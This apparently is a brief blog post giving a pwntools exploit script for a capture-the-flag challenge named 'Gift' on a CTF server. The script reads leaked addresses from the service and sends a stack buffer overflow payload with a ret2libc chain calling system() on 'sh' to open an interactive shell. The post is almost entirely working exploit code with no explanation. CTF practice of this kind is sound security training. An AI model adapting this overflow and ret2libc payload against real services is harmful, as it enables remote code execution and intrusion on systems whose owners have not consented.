dtqdtq01 2019. 6. 20. 20:47

Gift

nc ctf.j0n9hyun.xyz 3013

from pwn import *
#nc ctf.j0n9hyun.xyz 3013
#p = process("./gift")
p = remote('ctf.j0n9hyun.xyz', 3013)

p.recvuntil('Hey guyssssssssss here you are:')
tmp = p.recvline()

bss_addr = int(tmp[0:9],16)
system_addr = int(tmp[10:],16)

payload = 'aaaaa'

p.sendline(payload)
p.recvline()

payload2 = ''
payload2 += 'A'*0x88
payload2 += p32(system_addr)    # libc_system
payload2 += 'BBBB'
payload2 += p32(0x8048f48)     # sh

p.sendline(payload2)
p.interactive()